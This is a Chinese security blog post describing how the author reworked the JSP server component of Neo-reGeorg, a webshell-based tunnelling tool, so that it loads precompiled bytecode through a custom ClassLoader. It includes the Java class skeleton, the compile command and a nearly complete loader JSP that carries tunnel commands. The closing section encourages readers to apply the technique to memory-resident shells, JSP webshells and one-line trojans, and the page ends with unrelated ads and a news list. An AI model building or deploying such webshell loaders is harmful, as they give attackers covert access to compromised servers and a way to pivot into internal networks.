通过加载class提高Neo-reGeorg兼容性
0x01 背景
一大早就看到L-codes
师傅发消息说,Neo-reGeorg jsp服务端又出现问题了,印象里已经不是一两次了。大部分都是兼容性问题,这次也不例外。
在tomcat 5.5.9下的报错
是时候设计一个一劳永逸的方案了。
0x02 分析原因
我们知道jsp从被访问到运行,经历如下阶段。
jsp执行流程
本案例中发现tomcat work目录下已经存在了tunnel_jsp.java
,但是没有tunnel_jsp.class
,说明阶段1已经过。结合页面报错信息,在2阶段时Tomcat内置的编译器JDTCompiler,编译报错了。
检查tunnel_jsp.java
代码并没有语法错误,尝试使用javac编译,编译成功!看来JDTCompiler与javac实现逻辑并不同,而且没有javac强大。
javac可以编译通过
编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个.jsp
的兼容,无非就是让它在各个中间件下成功变成一个.class
。而这个过程与具体中间件的jsp转换器
的解析机制,java编译器
的编译机制和servlet-api
的版本息息相关。
那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码,然后jsp来加载和调用,来提高这个过程的成功率呢?。总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码,同时尽可能的减少jsp代码,少用api少用语法糖少用特性。
0x03 编码实现
我们先来移植服务端模版代码为java代码。直接新建一个NeoreGeorg.java
,将jsp中的方法直接copy,主体代码的移植需要注意2个问题。
第一、参数提炼问题。我们需要把模版变化的地方,提取出来作为参数,比如X-CMD
这样的指令,POST request read filed
这样的提示,Neo-reGorg需要通过随机替换它们实现流量加密。
第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来,但是这样要多写些反射代码。本着jsp代码越少越好原则,使用每个类都有的equal(java.lang.Object)
方法。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java
public class NeoreGeorg { private char[] en; private byte[] de; private int HTTPCODE; private int READBUF; private int MAXREADSIZE; @Override public boolean equals(Object obj) { // 接收参数 Object[] args = (Object[]) obj; HttpServletRequest request = (HttpServletRequest) args[0]; HttpServletResponse response = (HttpServletResponse) args[1]; en = (char[])args[2]; de = (byte[])args[3]; HTTPCODE = (Integer) args[4]; READBUF = (Integer) args[5]; MAXREADSIZE = (Integer) args[6]; ServletContext application = request.getSession().getServletContext(); Writer out = response.getWriter(); ...... // Neo-reGorg主要流程代码。 } .... //其他方法照抄 .... }
为了兼容更多的jdk版本我们这里选择使用1.5编译,同时为了class体积更小,可以使用-g:none
去掉调试信息。
1 javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java
jsp部分很简单,定义一个classloader用于加载class,然后将该class newInstance进行调用。有二个点可以简单讲讲。
第一,class字节码的存储方式问题。本着少用api的原则,我直接用byte数组存储。当然如果字节码太多,可能会有The code of method _jspService(...) is exceeding the 65535 bytes limit
报错问题,推荐用hex编码解决。
第二,全局存储class对象问题。推荐使用application
对象,而不是session
对象进行存储,否则遇到负载的情况就麻烦了。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp <%@ page import="sun.misc.BASE64Decoder" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% Object[] args = new Object[]{ request, //0 response, //1 "BASE64 CHARSLIST".toCharArray(), //2 new byte[]{BASE64 ARRAYLIST},//3 new Integer(HTTPCODE),//4 new Integer(READBUF),//5 new Integer(MAXREADSIZE),//6 "X-STATUS",//7 "X-ERROR",//8 "X-CMD",//9 "X-TARGET",//10 "X-REDIRECTURL",//11 "FAIL",//12 "Georg says, 'All seems fine'",//13 "Failed creating socket",//14 "Failed connecting to target",//15 "OK",//16 "Failed writing socket",//17 "CONNECT",//18 "DISCONNECT",//19 "READ",//20 "FORWARD",//21 "Failed reading from socket",//22 "No more running, close now",//23 "POST request read filed",//24 "Intranet forwarding failed"//25 }; if(application.getAttribute("u") != null){ application.getAttribute("u").equals(args); }else{ byte[] classBytes = new byte[]{.....} // NeoreGeorg.class字节码 Class clazz = new U(this.getClass().getClassLoader()).g(classBytes); application.setAttribute("u",clazz.newInstance()); } %>
经过测试在各个中间件下稳定运行,顺手给L-codes师傅一个pr。
0x04 总结
其实这个方法可以使用很多jsp脚本的改造,比如内存马注入jsp,jsp大马,蚁剑一句话木马等等。大家可以照猫画虎,自行修改。
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
随时掌握互联网精彩
- 1 中秘关于深化全面战略伙伴关系的声明 7934209
- 2 第26次!“顺其自然”再捐109万元 7948328
- 3 大爷要10元切糕结果切完变60元 7829734
- 4 秘鲁总统:已备美酒 欢迎光临! 7711276
- 5 俄罗斯开出停战先决条件 7684821
- 6 韩最大在野党党首李在明被判刑 7510215
- 7 “退钱哥”说不退钱了 7456965
- 8 男子涉嫌破坏军婚罪被逮捕 7304258
- 9 来珠海航展只为疯狂扫货?沙特澄清 7248666
- 10 10月份主要经济指标回升明显 7179230